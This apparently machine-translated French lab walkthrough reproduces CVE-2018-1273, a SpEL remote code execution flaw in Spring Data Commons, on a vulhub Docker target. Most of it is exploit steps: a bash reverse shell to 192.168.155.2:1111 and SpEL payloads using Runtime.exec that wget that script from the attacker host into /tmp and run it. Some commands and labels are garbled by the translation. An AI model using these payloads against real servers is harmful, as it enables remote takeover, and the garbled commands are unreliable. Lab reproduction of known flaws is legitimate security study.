1. Description de la vulnérabilité
Spring Data est un framework open source utilisé pour simplifier l'accès aux bases de données et prendre en charge les services cloud. Il comprend Commons, Gemfire, JPA, JDBC, MongoDB et d'autres modules. Cette vulnérabilité se produit dans le composant Spring Data Commons, qui fournit un cadre de base partagé, peut être utilisé par divers sous-projets et prend en charge la persistance entre bases de données.
Il existe une vulnérabilité d'exécution de code à distance dans le composant Spring Data Commons. Un attaquant peut construire une expression SPEL contenant du code malveillant pour mettre en œuvre des attaques de code à distance et obtenir directement les autorisations de contrôle du serveur.
2. Versions concernées
Spring Data Commons 1.13 - 1.13.10 (Ingalls SR10)
Spring Data REST 2.6 - 2.6.10 (Ingalls SR10)
Spring Data Commons 2.0 à 2.0.5 (Kay SR5)
Spring Data REST 3.0 - 3.0.5 (Kay SR5)
3. Configurer l'environnement
cd vulhub/spring/CVE-2018-1273
docker-compose up -d
4. Reproduction de vulnérabilité
1. Préparez la commande shell
bash -i >& /dev/tcp/192.168.155.2/1111 0>&1
pour écrire le fichier shell.sh
2. Activez le service http.
Activez le service http dans le répertoire où se trouve le fichier sh
. python -m http.server 8081
3. Capturez les paquets
: visitez http://192.168.25.128:8080/users, inscrivez-vous et capturez les paquets BP
4. Préparez le package de requête
Payload :
username[#this.getClass().forName(“java.lang.Runtime”).getRuntime().exec(“[Command to be exécuté]”)]=&password=&repeatedPassword=Download
package de requête de fichier : username[#this.getClass().forName(“java.lang.Runtime”).getRuntime().exec(“/usr/bin/wget -O /tmp/1.sh http://192.168 . 155.2:8081/shell.sh")]&password=test&repeatedPassword=test
Exécuter le package de demande de commande :
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("/bin / bash /tmp/1.sh")]&password=test&repeatedPassword=test
5.nc active la surveillance
6. Envoyer le package de demande
Envoyer le package de téléchargement
J'ai trouvé que 1.sh apparaissait dans tmp
Envoyer le package d'exécution
7. Coque à rebond
Remarque :
Utilisation correcte de wget :
utilisez l'option -O pour enregistrer le fichier téléchargé sous un autre nom
wget -O /usr/software https://download.redis.io/releases/redis-6.0.8.tar.gz